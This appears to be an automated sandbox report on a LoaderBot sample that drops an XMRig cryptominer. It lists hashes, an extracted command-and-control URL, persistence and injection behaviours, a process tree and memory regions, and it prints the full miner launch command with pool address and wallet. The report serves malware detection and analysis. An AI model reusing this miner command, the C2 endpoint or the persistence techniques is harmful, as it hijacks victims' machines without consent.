Analysis

  • max time kernel
    97s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-06-2023 23:17

General

  • Target

    5bc457579941e276a1ad34f285a12d4a40febb92cafd37ac0ab8c476c240912a.exe

  • Size

    2.7MB

  • MD5

    bd83b22d90836c81047b081dcbacb63d

  • SHA1

    ce52554f5bbd0e26332309166a2912609797f8b6

  • SHA256

    5bc457579941e276a1ad34f285a12d4a40febb92cafd37ac0ab8c476c240912a

  • SHA512

    8025ca796c9273fe5e6fb3e1e1481d63bce796462ebae24857d8aae01bc74c9634bdb509c4f57f23c0523005f89f8eb78f827e34a65cce8502c994494aa5b1c0

  • SSDEEP

    49152:TFS3NYgv3IsJks7JFsaaq7VZbAMS9IeD/P/sXZYkZ4jh+:TYbv3Isms1kq7DMFNTkqkZQh+

Malware Config

Extracted

Family

loaderbot

C2

https://sh4453464.c.had.su/cmd.php

Signatures

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • LoaderBot executable 1 IoCs
  • XMRig Miner payload 18 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5bc457579941e276a1ad34f285a12d4a40febb92cafd37ac0ab8c476c240912a.exe
    "C:\Users\Admin\AppData\Local\Temp\5bc457579941e276a1ad34f285a12d4a40febb92cafd37ac0ab8c476c240912a.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4928
    • C:\Users\Admin\AppData\Local\Temp\5bc457579941e276a1ad34f285a12d4a40febb92cafd37ac0ab8c476c240912a.exe
      "{path}"
      2⤵
        PID:2792
      • C:\Users\Admin\AppData\Local\Temp\5bc457579941e276a1ad34f285a12d4a40febb92cafd37ac0ab8c476c240912a.exe
        "{path}"
        2⤵
          PID:3808
        • C:\Users\Admin\AppData\Local\Temp\5bc457579941e276a1ad34f285a12d4a40febb92cafd37ac0ab8c476c240912a.exe
          "{path}"
          2⤵
            PID:2568
          • C:\Users\Admin\AppData\Local\Temp\5bc457579941e276a1ad34f285a12d4a40febb92cafd37ac0ab8c476c240912a.exe
            "{path}"
            2⤵
              PID:3868
            • C:\Users\Admin\AppData\Local\Temp\5bc457579941e276a1ad34f285a12d4a40febb92cafd37ac0ab8c476c240912a.exe
              "{path}"
              2⤵
              • Checks computer location settings
              • Drops startup file
              • Adds Run key to start application
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: RenamesItself
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3232
              • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4935xbCqwWU1Kskmfu796NjQVuLDZAR4xdvf7fe2p9w3XVkqbRHPR5ELemPeGJJhVWGxjeLuvZqf8ZVFPabUB5CTNSBG2RV -p x -k -v=0 --donate-level=1 -t 2
                3⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:3896
                • C:\Windows\system32\WerFault.exe
                  C:\Windows\system32\WerFault.exe -u -p 3896 -s 760
                  4⤵
                  • Program crash
                  PID:1916
              • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4935xbCqwWU1Kskmfu796NjQVuLDZAR4xdvf7fe2p9w3XVkqbRHPR5ELemPeGJJhVWGxjeLuvZqf8ZVFPabUB5CTNSBG2RV -p x -k -v=0 --donate-level=1 -t 2
                3⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:4180
                • C:\Windows\system32\WerFault.exe
                  C:\Windows\system32\WerFault.exe -u -p 4180 -s 852
                  4⤵
                  • Program crash
                  PID:3728
              • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4935xbCqwWU1Kskmfu796NjQVuLDZAR4xdvf7fe2p9w3XVkqbRHPR5ELemPeGJJhVWGxjeLuvZqf8ZVFPabUB5CTNSBG2RV -p x -k -v=0 --donate-level=1 -t 2
                3⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:3720
                • C:\Windows\system32\WerFault.exe
                  C:\Windows\system32\WerFault.exe -u -p 3720 -s 592
                  4⤵
                  • Program crash
                  PID:4428
              • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4935xbCqwWU1Kskmfu796NjQVuLDZAR4xdvf7fe2p9w3XVkqbRHPR5ELemPeGJJhVWGxjeLuvZqf8ZVFPabUB5CTNSBG2RV -p x -k -v=0 --donate-level=1 -t 2
                3⤵
                  PID:2612
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -pss -s 444 -p 3896 -ip 3896
              1⤵
                PID:4548
              • C:\Windows\system32\WerFault.exe
                C:\Windows\system32\WerFault.exe -pss -s 460 -p 4180 -ip 4180
                1⤵
                  PID:4624
                • C:\Windows\system32\WerFault.exe
                  C:\Windows\system32\WerFault.exe -pss -s 532 -p 3720 -ip 3720
                  1⤵
                    PID:4800

                  Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

                    Filesize

                    3.9MB

                    MD5

                    02569a7a91a71133d4a1023bf32aa6f4

                    SHA1

                    0f16bcb3f3f085d3d3be912195558e9f9680d574

                    SHA256

                    8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

                    SHA512

                    534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

                  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

                    Filesize

                    3.9MB

                    MD5

                    02569a7a91a71133d4a1023bf32aa6f4

                    SHA1

                    0f16bcb3f3f085d3d3be912195558e9f9680d574

                    SHA256

                    8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

                    SHA512

                    534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

                  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

                    Filesize

                    3.9MB

                    MD5

                    02569a7a91a71133d4a1023bf32aa6f4

                    SHA1

                    0f16bcb3f3f085d3d3be912195558e9f9680d574

                    SHA256

                    8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

                    SHA512

                    534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

                  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

                    Filesize

                    3.9MB

                    MD5

                    02569a7a91a71133d4a1023bf32aa6f4

                    SHA1

                    0f16bcb3f3f085d3d3be912195558e9f9680d574

                    SHA256

                    8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

                    SHA512

                    534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

                  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

                    Filesize

                    3.9MB

                    MD5

                    02569a7a91a71133d4a1023bf32aa6f4

                    SHA1

                    0f16bcb3f3f085d3d3be912195558e9f9680d574

                    SHA256

                    8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

                    SHA512

                    534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

                  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

                    Filesize

                    3.9MB

                    MD5

                    02569a7a91a71133d4a1023bf32aa6f4

                    SHA1

                    0f16bcb3f3f085d3d3be912195558e9f9680d574

                    SHA256

                    8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

                    SHA512

                    534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

                  • memory/2612-195-0x0000000140000000-0x0000000140B75000-memory.dmp

                    Filesize

                    11.5MB

                  • memory/2612-196-0x0000000140000000-0x0000000140B75000-memory.dmp

                    Filesize

                    11.5MB

                  • memory/2612-197-0x0000000140000000-0x0000000140B75000-memory.dmp

                    Filesize

                    11.5MB

                  • memory/2612-198-0x0000000000510000-0x0000000000530000-memory.dmp

                    Filesize

                    128KB

                  • memory/2612-199-0x0000000000530000-0x0000000000550000-memory.dmp

                    Filesize

                    128KB

                  • memory/3232-167-0x0000000005340000-0x0000000005350000-memory.dmp

                    Filesize

                    64KB

                  • memory/3232-159-0x0000000005340000-0x0000000005350000-memory.dmp

                    Filesize

                    64KB

                  • memory/3232-144-0x0000000000400000-0x00000000007FE000-memory.dmp

                    Filesize

                    4.0MB

                  • memory/3232-148-0x0000000005730000-0x0000000005796000-memory.dmp

                    Filesize

                    408KB

                  • memory/3720-184-0x0000000140000000-0x0000000140B75000-memory.dmp

                    Filesize

                    11.5MB

                  • memory/3720-188-0x0000000140000000-0x0000000140B75000-memory.dmp

                    Filesize

                    11.5MB

                  • memory/3720-191-0x00000000020D0000-0x00000000020F0000-memory.dmp

                    Filesize

                    128KB

                  • memory/3720-192-0x00000000020F0000-0x0000000002110000-memory.dmp

                    Filesize

                    128KB

                  • memory/3720-190-0x0000000140000000-0x0000000140B75000-memory.dmp

                    Filesize

                    11.5MB

                  • memory/3720-189-0x0000000140000000-0x0000000140B75000-memory.dmp

                    Filesize

                    11.5MB

                  • memory/3720-187-0x0000000140000000-0x0000000140B75000-memory.dmp

                    Filesize

                    11.5MB

                  • memory/3720-186-0x00000000020F0000-0x0000000002110000-memory.dmp

                    Filesize

                    128KB

                  • memory/3720-185-0x00000000020D0000-0x00000000020F0000-memory.dmp

                    Filesize

                    128KB

                  • memory/3720-183-0x00000000020F0000-0x0000000002110000-memory.dmp

                    Filesize

                    128KB

                  • memory/3720-182-0x00000000020D0000-0x00000000020F0000-memory.dmp

                    Filesize

                    128KB

                  • memory/3720-181-0x0000000140000000-0x0000000140B75000-memory.dmp

                    Filesize

                    11.5MB

                  • memory/3720-180-0x0000000140000000-0x0000000140B75000-memory.dmp

                    Filesize

                    11.5MB

                  • memory/3720-179-0x0000000140000000-0x0000000140B75000-memory.dmp

                    Filesize

                    11.5MB

                  • memory/3720-177-0x0000000140000000-0x0000000140B75000-memory.dmp

                    Filesize

                    11.5MB

                  • memory/3896-162-0x0000000140000000-0x0000000140B75000-memory.dmp

                    Filesize

                    11.5MB

                  • memory/3896-160-0x00000000004D0000-0x00000000004E4000-memory.dmp

                    Filesize

                    80KB

                  • memory/3896-161-0x0000000140000000-0x0000000140B75000-memory.dmp

                    Filesize

                    11.5MB

                  • memory/4180-165-0x0000000140000000-0x0000000140B75000-memory.dmp

                    Filesize

                    11.5MB

                  • memory/4180-172-0x0000000001FE0000-0x0000000002000000-memory.dmp

                    Filesize

                    128KB

                  • memory/4180-171-0x0000000000520000-0x0000000000540000-memory.dmp

                    Filesize

                    128KB

                  • memory/4180-170-0x0000000140000000-0x0000000140B75000-memory.dmp

                    Filesize

                    11.5MB

                  • memory/4180-169-0x0000000140000000-0x0000000140B75000-memory.dmp

                    Filesize

                    11.5MB

                  • memory/4180-168-0x0000000140000000-0x0000000140B75000-memory.dmp

                    Filesize

                    11.5MB

                  • memory/4180-175-0x0000000001FE0000-0x0000000002000000-memory.dmp

                    Filesize

                    128KB

                  • memory/4180-173-0x0000000140000000-0x0000000140B75000-memory.dmp

                    Filesize

                    11.5MB

                  • memory/4180-166-0x0000000000500000-0x0000000000520000-memory.dmp

                    Filesize

                    128KB

                  • memory/4180-174-0x0000000000520000-0x0000000000540000-memory.dmp

                    Filesize

                    128KB

                  • memory/4928-142-0x0000000005C80000-0x0000000005C90000-memory.dmp

                    Filesize

                    64KB

                  • memory/4928-143-0x0000000005C80000-0x0000000005C90000-memory.dmp

                    Filesize

                    64KB

                  • memory/4928-141-0x00000000089E0000-0x0000000008A1C000-memory.dmp

                    Filesize

                    240KB

                  • memory/4928-140-0x0000000005C80000-0x0000000005C90000-memory.dmp

                    Filesize

                    64KB

                  • memory/4928-133-0x0000000000CC0000-0x0000000000F7A000-memory.dmp

                    Filesize

                    2.7MB

                  • memory/4928-139-0x0000000005C80000-0x0000000005C90000-memory.dmp

                    Filesize

                    64KB

                  • memory/4928-138-0x0000000005C90000-0x0000000005CE6000-memory.dmp

                    Filesize

                    344KB

                  • memory/4928-137-0x00000000059D0000-0x00000000059DA000-memory.dmp

                    Filesize

                    40KB

                  • memory/4928-136-0x0000000005A40000-0x0000000005AD2000-memory.dmp

                    Filesize

                    584KB

                  • memory/4928-135-0x0000000005F50000-0x00000000064F4000-memory.dmp

                    Filesize

                    5.6MB

                  • memory/4928-134-0x0000000005900000-0x000000000599C000-memory.dmp

                    Filesize

                    624KB